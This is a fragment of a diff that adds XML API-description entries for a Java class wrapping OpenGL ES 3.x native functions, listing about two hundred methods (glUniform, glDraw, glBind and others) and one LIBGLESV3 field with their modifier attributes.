+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveShaderProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateSubFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShaderProgramv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunciEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteri64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrierKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLogKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlushMappedBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnablediEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glResumeTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstancedBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInternalformativ" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureLayer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFragDataLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSynciv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindImageTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegeri_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShading" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteriEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTransformFeedbackVarying" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformBlockBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointervKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControlKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetStringi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformsiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRangeEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlitFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV3" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubDataEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
